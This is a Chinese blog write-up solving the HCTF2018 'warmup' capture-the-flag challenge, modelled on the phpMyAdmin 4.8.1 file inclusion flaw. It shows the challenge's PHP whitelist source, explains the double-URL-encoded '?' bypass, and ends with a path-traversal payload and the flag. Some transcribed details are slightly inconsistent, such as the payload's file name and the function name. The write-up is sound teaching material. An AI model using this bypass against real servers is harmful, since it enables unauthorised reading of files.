

# HCTF2018-warmup-writeup

原创

wuerror 于 2019-01-22 21:54:31 发布 3296 收藏

分类专栏: [ctf](#) 文章标签: [ctf](#)

版权声明: 本文为博主原创文章, 遵循[CC 4.0 BY-SA](#)版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/weixin\\_40871137/article/details/86599470](https://blog.csdn.net/weixin_40871137/article/details/86599470)

版权



[ctf专栏收录该内容](#)

28 篇文章 1 订阅

[订阅专栏](#)

这个题目原型是phpmyadmin4.8.1的任意文件包含漏洞

① 192.168.218.136:32769

官方站点 新手上路 常用网址 最常访问 火狐官方站点 新手上路 常用网址 谷歌 网址大全 Hack This Site! HCTF GAME

Warmup  
[hint](#)



[https://blog.csdn.net/weixin\\_40871137](https://blog.csdn.net/weixin_40871137)

点击[hint](#)进入, 得到提示flag在ffffllllaaaagggg中, 并发现URL格式为XXX/index.php?file=hint.php, 顺势猜一下file=source.php有没有结果。得到如下

```

<?php
class emmm
{
    public static function checkFile(&$page)
    {
        $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
        if (! isset($page) || !is_string($page)) {
            echo "you can't see it";
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mbstrpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mbstrpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }
        echo "you can't see it";
        return false;
    }

    if (! empty($_REQUEST['file']))
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }
}
?>

```

开头部分要求设定了\$page,且\$page的内容要在whiteList里。

`mb_substr($page,0,mbstrpos($page,'?','?'))`表示以?分割然后取出前面的字符串再判断值是否存在于whiteList中。

接着对\$page进行一次URLdecode之后，再判断一次。

最后当以下三个条件同时为真时，包含file

1. \$\_request['file']不为空

2. \$\_request['file']是字符串

3.上面定义的checkfile方法返回值为真

最终payload: file=source.php%253f/../../../../aaaaagggg

hctf{e8a73a09cfdd1c9a11cca29b2bf9796f}

